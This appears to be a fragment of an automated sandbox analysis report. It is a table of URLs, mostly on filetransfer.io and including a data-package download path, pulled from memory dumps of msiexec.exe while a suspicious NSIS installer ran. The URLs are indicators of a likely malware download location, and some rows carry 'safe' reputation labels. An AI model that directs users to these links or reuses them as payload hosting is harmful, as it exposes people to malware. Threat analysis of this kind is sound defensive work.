https://filetransfer.io/Certificates	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/contact/2/CQkJCXdoaWxlIHVzaW5nIEZpbGVUcmFuc2Zlci5pbyBhbiBlcnJvciAiJWVycm9ySW	msiexec.exe, 00000006.00000003.2873776933.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2824231194.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365446690.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000101439.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3202428854.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269139830.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.ior	msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filetransfer.io/%	msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2809294034.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2825933685.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3310366497.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2816736902.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ft	msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/wnload6	msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967918113.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ransfer.io/	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/)	msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007679682.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/load	msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.filetransfer.io/	msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filetransfer.io	msiexec.exe, 00000006.00000003.2858350522.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadSan	msiexec.exe, 00000006.00000003.2801731343.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ransfer.io/ft	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/rf	msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2945765819.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.ioj	msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filetransfer.io/data-package/sJfx1gsn/downloadTG	msiexec.exe, 00000006.00000003.2898439697.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/fer.io	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ransfer.io/ndemandconnroutehelper.dll	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/H	msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/dist/filetransfer-social-en.389488efe49681ac059b218c21161d72.png	msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/download%	msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3310366497.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3164821026.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/download$	msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ii	msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/io	msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2825933685.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadC(	msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	ht58337iNC.exe, ht58337iNC.exe.2.dr	false		high
https://filetransfer.ioD	msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2898439697.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filetransfer.io/data-package/sJfx1gsn/download4	msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873825398.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2945765819.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/io8	msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadA	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadP$	msiexec.exe, 00000006.00000003.3404111400.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io0	msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://filetransfer.io/g	msiexec.exe, 00000006.00000003.2809294034.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/io)	msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2898439697.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2913458167.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadO	msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/io6	msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873825398.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873776933.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/p	msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
